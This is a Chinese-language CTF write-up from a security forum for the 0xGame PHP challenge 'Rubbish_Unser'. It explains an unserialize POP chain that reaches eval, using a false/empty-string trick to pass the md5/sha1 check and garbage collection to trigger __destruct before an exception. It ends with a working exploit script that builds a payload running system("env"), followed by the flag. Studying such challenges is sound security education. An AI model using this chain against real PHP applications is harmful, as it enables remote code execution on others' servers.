返回
1
0

Rubbish_Unser

zp,2025-11-28 20:37
<?php
error_reporting(0);
highlight_file(__FILE__);

class ZZZ   //定义一个zzz类,zzz类中有一个公共属性$yuzuha    5
{
    public $yuzuha;
    function __construct($yuzuha)   //创建对象时触发,创建对象时传入$yuzuha参数,并将传入的参数赋值给当前类的$yuzuha属性
    {
        $this -> yuzuha = $yuzuha;
    }
    function __destruct()
    {
        echo "破绽,在这里!" . $this -> yuzuha;    //触发destruct方法时,输出$yuzuha属性,这可以触发__toString()方法
    }
}

class HSR                                 1
{
    public $robin;
    function __get($robin)     //当访问不存在的成员属性时触发
    {
        $castorice = $this -> robin;
        eval($castorice);      //目标点
    }
}

class HI3rd                                     2
{
    public $RaidenMei;
    public $kiana;
    public $guanxing;
    function __invoke()     //当对象被当作函数时触发
    {
        if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
            return $this -> guanxing -> Elysia;  
    }  //要属性RaidenMei和属性kiana的值不相等但是MD5值相等哈希值相等,才可以返回guanxing属性的Elysia属性
}

class GI                                         3
{
    public $furina; 
    function __call($arg1, $arg2)   //当调用不存在的方法时触发
    {
        $Charlotte = $this -> furina;   
        return $Charlotte();      //将furina属性的值赋值给$Charlotte,然后将其当作函数返回
    }
}

class Mi                                        4
{
    public $game;
    function __toString()
    {
        $game1 = @$this -> game -> tks();   //尝试调用 $this->game 对象的 tks() 方法,只要 Mi 对象被当作字符串使用,就会触发 $this->game->tks()
        return $game1;   返回调用的值     //这可以触发__call()方法
    }
}

if (isset($_GET['0xGame'])) {      
    $web = unserialize($_GET['0xGame']);     
    throw new Exception("Rubbish_Unser");   //这里有一个异常抛出,使得__destruct并不能触发,这时就需要使用gc回收的机制,使__destruct提前触发,让pop链能够往后走
}
?>
异常抛出导致__destruct不执行的绕过代码最后会throw new Exception,
导致对象正常销毁流程被打断,__destruct不触发。解决方案是触发垃圾回收(GC):
构造一个数组$b = array('1' => $a, '2' => null),当数组中某个元素被设为null时,PHP 会提前回收该元素对应的对象,从而在异常抛出前触发__destruct。

思路

实例化zzz类得到对象$a
让ZZZ的$yuzuha属性指向Mi类实例,这样调用__destruct()中echo $this->yuzuha时,会触发Mi类中的__toString()方法
让MI的game属性指向GI类的实列,这样就调用__toString()中的game属性中的tks()方法就会触发GI类中的__call()方法
将GI实例的furina属性赋值一个 HI3rd类的实例,这样furina就是对象,哪return $Charlotte();就是将对象当作函数来触发__invoke()
要求kiana 属性的值和RaidenMei属性的值不同但是要求MD5和哈希值相同,尝试数组但是不能使用数组来绕过(这是因为在某些PHP版本中,md5() 函数无法直接对数组进行哈希计算。在较新版本的PHP中,md5() 函数要求传入的参数必须是字符串,而不能是数组。)所以使用的是一个为false一个为空字符串来绕过,这样就可以返回当前类的guanxing属性的Elysia属性,Elysia属性在HSR中没有就触发了__get方法
所以将HI3rd实例的guanxing属性赋值一个 HSR类的实例,给HSR实例的robin属性赋值'system("env");'
有异常抛出类所以要加上$b = array('1' => $a, '2' => null);,然后序列化$b
<?php
class ZZZ
{
    public $yuzuha;
    function __construct($yuzuha)
    {
        $this -> yuzuha = $yuzuha;
    }
    function __destruct()
    {
        echo "破绽,在这里!" . $this -> yuzuha;
    }
}

class HSR
{
    public $robin;
    function __get($robin)
    {
        $castorice = $this -> robin;
        eval($castorice);
    }
}

class HI3rd
{
    public $RaidenMei;
    public $kiana;
    public $guanxing;
    function __invoke()
    {
        if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
            return $this -> guanxing -> Elysia;
    }
}

class GI
{
    public $furina; 
    function __call($arg1, $arg2)
    {
        $Charlotte = $this -> furina;
        return $Charlotte();
    }
}

class Mi
{
    public $game;
    function __toString()
    {
        $game1 = @$this -> game -> tks();
        return $game1;
    }
}
$a=new ZZZ(1);
$a->yuzuha=new Mi();
$a->yuzuha->game=new GI();
$a->yuzuha->game->furina=new HI3rd();
$a->yuzuha->game->furina->kiana=false;
$a->yuzuha->game->furina->RaidenMei='';
$a->yuzuha->game->furina->guanxing=new HSR();
$a->yuzuha->game->furina->guanxing->robin='system("env");';
$b = array('1' => $a, '2' => null);
echo urlencode(serialize($b));


0xGame{Really_Rubbish_Unser!}

暂无回复。你的想法是什么?


bottom-logo1
bottom-logo2captionbottom-logo3
GeeSec
商务合作
bottom-logo4